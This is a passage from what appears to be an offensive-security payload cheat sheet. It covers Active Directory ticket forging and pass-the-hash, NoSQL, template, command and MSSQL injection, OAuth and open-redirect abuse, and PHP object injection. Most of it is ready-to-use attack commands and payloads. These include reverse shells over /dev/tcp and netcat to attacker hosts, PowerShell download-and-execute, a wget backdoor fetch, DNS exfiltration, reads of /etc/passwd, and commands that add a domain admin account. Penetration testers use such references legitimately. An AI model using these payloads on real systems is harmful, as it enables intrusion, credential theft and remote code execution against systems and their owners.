lsadump::lsa /inject /name:krbtgt
```

```
Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-20195
94255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

Meterpreter version

```
Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -
u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2
019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentest
labuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Using a ticket on Linux

```
Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629
792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -
extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-3544013
77-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2
057077057-2526624608-519


export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME


NOTE: You may need to comment the proxy_dns setting in the proxychains configurati
on file
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

PassTheTicket Silver Tickets

Forging a TGS require machine accound password (key) from the KDC

```
Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-
HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

Trust Tickets

TODO

Kerberoast

```
https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
https://room362.com/post/2016/kerberoast-pt1/

./GetUserSPNS.py -request lab.ropnop.com/thoffman:Summer2017
(Impacket) Kerberoasting (ldap query, tgs in JTR format)
```

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.

```
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack
.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b5
1404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9
b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...

or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b9753566
93e179d

or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash>
```

```
/run:"mstsc.exe /restrictedadmin"
```

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash

```
Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache

also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com


ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5be
c39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
```

Dangerous Built-in Groups Usage

AdminSDHolder

```
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```

Trust relationship between domains

```
nltest /trusted_domains
```

or

```
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrust
Relationships()

SourceName          TargetName                  TrustType      TrustDirection
----------          ----------                  ---------      --------------
domainA.local      domainB.local                TreeRoot       Bidirectional
```

Privilege Escalation

PrivEsc Local Admin - Token Impersonation (RottenPotato)

Binary available at : https://github.com/foxglovesec/RottenPotato

(https://github.com/foxglovesec/RottenPotato) Binary available at : https://github.com/breenmachine/RottenPotatoNG (https://github.com/breenmachine/RottenPotatoNG)

```
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```

```
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```

PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | find "3139914"`

```
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

PrivEsc Local Admin - MS17-010 (Eternal Blue)

```
nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17—010 <ip_netblock>
```

From Local Admin to Domain Admin

```
net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain
```

Documentation / Thanks to

- https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html (https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
- Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher (https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-

your-internal-network-before-lunch-2018-edition-82259ab73aaa)

- Finding Passwords in SYSVOL & Exploiting Group Policy Preferences (https://adsecurity.org/?p=2288)
- Golden ticket - Pentestlab (https://pentestlab.blog/2018/04/09/golden-ticket/)
- Dumping Domain Password Hashes - Pentestlab (https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
- Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r (https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
- Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r (https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
- Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin (https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
- Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView) (https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
- Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView (https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
- Pen Testing Active Directory Environments - Part III: Chasing Power Users (https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
- Pen Testing Active Directory Environments - Part IV: Graph Fun (https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
- Pen Testing Active Directory Environments - Part V: Admins and Graphs (https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
- Pen Testing Active Directory Environments - Part VI: The Final Case (https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
- Passing the hash with native RDP client (mstsc.exe) (https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
- Fun with LDAP, Kerberos (and MSRPC) in AD Environments (https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
- DiskShadow The return of VSS Evasion Persistence and AD DB extraction (https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
- How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff (https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 1 (https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 2 (https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 3 (https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 4 (https://akerva.com/blog/wonkachall-

akerva-ndh2018-write-up-part-4/)

- WONKACHALL AKERVA NDH2018 – WRITE UP PART 5 (https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
- BlueHat IL - Benjamin Delpy (https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
- Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith (https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
- Using bloodhound to map the user network - Hausec (https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)

NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

Basic authentication bypass using not equal ($ne) or greater ($gt)

```
in URL
username[$ne]=toto&password[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```

Extract length information

```
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```

Extract data information

```
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

Blind NoSQL

```
import requests
```

```
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'
% (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c
```

MongoDB Payloads

```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { em
it(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```

Thanks to

- Les NOSQL injections Classique et Blind: Never trust user input – Geluchat (https://www.dailysecurity.fr/nosql-injections-classique-blind/)
- Testing for NoSQL injection – OWASP (https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
- crohn – NoSQL injection wordlists (https://github.com/cr0hn/nosqlinjection_wordlists)
- Zanon – NoSQL Injection in MongoDB (https://zanon.io/posts/nosql-injection-in-mongodb)

OAuth 2 - Common vulnerabilities

Grabbing OAuth Token via redirect_uri

Redirect to a controlled domain to get the access token

```
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```

Redirect to an accepted Open URL in to get the access token

```
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```

OAuth implementations should never whitelist entire domains, only a few URLs so that "redirect_uri" can't be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:

```
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```

Executing XSS via redirect_uri

```
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

Authorization Code Rule Violation

> *The client MUST NOT use the authorization code more than once.*
> *If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on*

> *that authorization code.*

Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.

> *The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.*

Thanks to

- All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY (http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
- OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY (http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
- How I hacked Github again. - Egor Homakov (http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
- How Microsoft is giving your data to Facebook... and everyone else - Andris Atteka (http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)

Open URL Redirection

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application's access control check and then forward the attacker to privileged functions that they would normally not be able to access.

Fuzzing

Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case

To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.

```
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
```

Exploitation

Using a whitelisted domain or keyword

```
www.whitelisted.com.evil.com redirect to evil.com
```

Using CRLF to bypass "javascript" blacklisted keyword

```
java%0d%0ascript%0d%0a:alert(0)
```

Using "//" to bypass "http" blacklisted keyword

```
//google.com
```

Using "https:" to bypass "//" blacklisted keyword

```
https:google.com
```

Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)

```
\/\/google.com/
/\/google.com/
```

Using "%E3%80%82" to bypass "." blacklisted character

```
//google%E3%80%82com
```

Using null byte "%00" to bypass blacklist filter

```
//google%00.com
```

Using "@" character, browser will redirect to anything after the "@"

```
http://www.theirsite.com@yoursite.com/
```

Creating folder as their domain

```
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```

XSS from Open URL - If it's in a JS variable

```
";alert(0);//
```

XSS from data:// wrapper

```
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiW
FNTIik7PC9zY3JpcHQ+Cg==
```

XSS from javascript:// wrapper

```
http://www.example.com/redirect.php?url=javascript:prompt(1)
```

Thanks to

- filedescriptor
- OWASP - Unvalidated Redirects and Forwards Cheat Sheet (https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
- Cujanovic - Open-Redirect-Payloads (https://github.com/cujanovic/Open-Redirect-Payloads)

PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Exploit with the __wakeup in the unserialize function

Vulnerable code:

```php
<?php
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # nothing happens here
    }
?>
```

Payload:

```
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
```

Others exploits

Reverse Shell

```
class PHPObjectInjection
{
    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
    public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php &&
 php phpobjbackdoor.php');";
}

echo urlencode(serialize(new PHPObjectInjection));
```

Basic detection

```
class PHPObjectInjection
{
    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
    public $inject = "system('cat /etc/passwd');";
}

echo urlencode(serialize(new PHPObjectInjection));
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22sys
tem%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
```

Thanks to

- PHP Object Injection – OWASP (https://www.owasp.org/index.php/PHP_Object_Injection)
- PHP Object Injection – Thin Ba Shane (http://location-href.com/php-object-injection/)

Remote Commands Execution

Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server. NOTE: Reverse Shell Command are relocated to a single file (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

Exploits

Normal Commands execution, execute the command and voila :p

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Commands execution by chaining commands

```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls    Only if the first cmd fail
```

Commands execution inside a command

```
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```

Commands execution without space - Linux

```
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```

Commands execution without space - Windows

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Commands execution without spaces, $ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

Commands execution with a line return

```
something%0Acat%20/etc/passwd
```

Bypass blacklisted word with single quote

```
w'h'o'am'i
```

Bypass blacklisted word with double quote

```
w"h"o"am"i
```

Bypass blacklisted word with backslash

```
w\ho\am\i
```

Bypass blacklisted word with $@

```
who$@ami
```

Bypass blacklisted word with variable expansion

```
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

Bypass zsh/bash/sh blacklist

```
echo $0
-> /usr/bin/zsh
echo whoami|$0
```

Challenge

Challenge based on the previous tricks, what does the following command do:

```
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```

Time based data exfiltration

Extracting data : char by char

```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```

```
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```

DNS based data exfiltration

Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

Thanks to

- SECURITY CAFÉ - Exploiting Timed Based RCE (https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
- Bug Bounty Survey - Windows RCE spaceless (https://twitter.com/bugbsurveys/status/860102244171227136)
- No PHP, no spaces, no $, no { }, bash only - @asdizzle (https://twitter.com/asdizzle_/status/895244943526170628)
- #bash #obfuscation by string manipulation - Malwrologist, @DissectMalware (https://twitter.com/DissectMalware/status/1025604382644232192)

Templates Injections

> *Template injection allows an attacker to include template code into an existant (or not) template.*

Recommended tool: Tplmap (https://github.com/epinna/tplmap) e.g:

```
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```

Ruby

Basic injection

```
<%= 7 * 7 %>
```

Retrieve /etc/passwd

```
<%= File.open('/etc/passwd').read %>
```

Java

Java - Basic injection

```
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```

Java - Retrieve the system's environment variables

```
${T(java.lang.System).getenv()}
```

Java - Retrieve /etc/passwd

```
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

Twig

Twig - Basic injection

```
{{7*7}}
{{7*'7'}} would result in 49
```

Twig - Template format

```
$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);
```

Twig - Code execution

```
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

Smarty

```
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

Freemarker

Default functionality.

```
<#assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```

Jade / Codepen

```
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

Velocity

```
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

Mako

```
<%
import os
x=os.popen('id').read()
%>
${x}
```

Jinja2

Official website (http://jinja.pocoo.org/)

> *Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.*

Jinja 2 - Basic injection

```
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have

been tested on Flask application.

Jinja2 - Template format

```
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}
```

Jinja2 - Dump all used classes

```
{{ ''.__class__.__mro__[2].__subclasses__() }}
```

Jinja2 - Dump all config variables

```
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
```

Jinja2 - Read remote file

```
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

Jinja2 - Write into remote file

```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.tx
t', 'w').write('Hello here !') }}
```

Jinja2 - Remote Code Execution via reverse shell

Listen for connexion

```
nv -lnvp 8000
```

Inject this template

```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write(
'from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # co
nnect to evil host
```

AngularJS

AngularJS - Basic injection

```
$eval('1+1')
{{1+1}}
```

Thanks to

- https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ (https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
- Yahoo! RCE via Spring Engine SSTI (https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
- Ruby ERB Template injection - TrustedSec (https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
- Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger) (https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
- PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax (https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
- VelocityServlet Expression Language injection (https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)

MSSQL Injection

MSSQL version

```
SELECT @@version
```

MSSQL database name

```
SELECT DB_NAME()
```

MSSQL List Databases

```
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
```

MSSQL List Column

```
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); — f
or the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, mast
er..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='som
etable'; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
```

MSSQL List Tables

```
SELECT name FROM master..sysobjects WHERE xtype = 'U'; — use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, mast
er..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='som
etable'; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
```

MSSQL User Password

```
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to
hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```

MSSQL Error based

```
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '
```

MSSQL Blind based

```
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

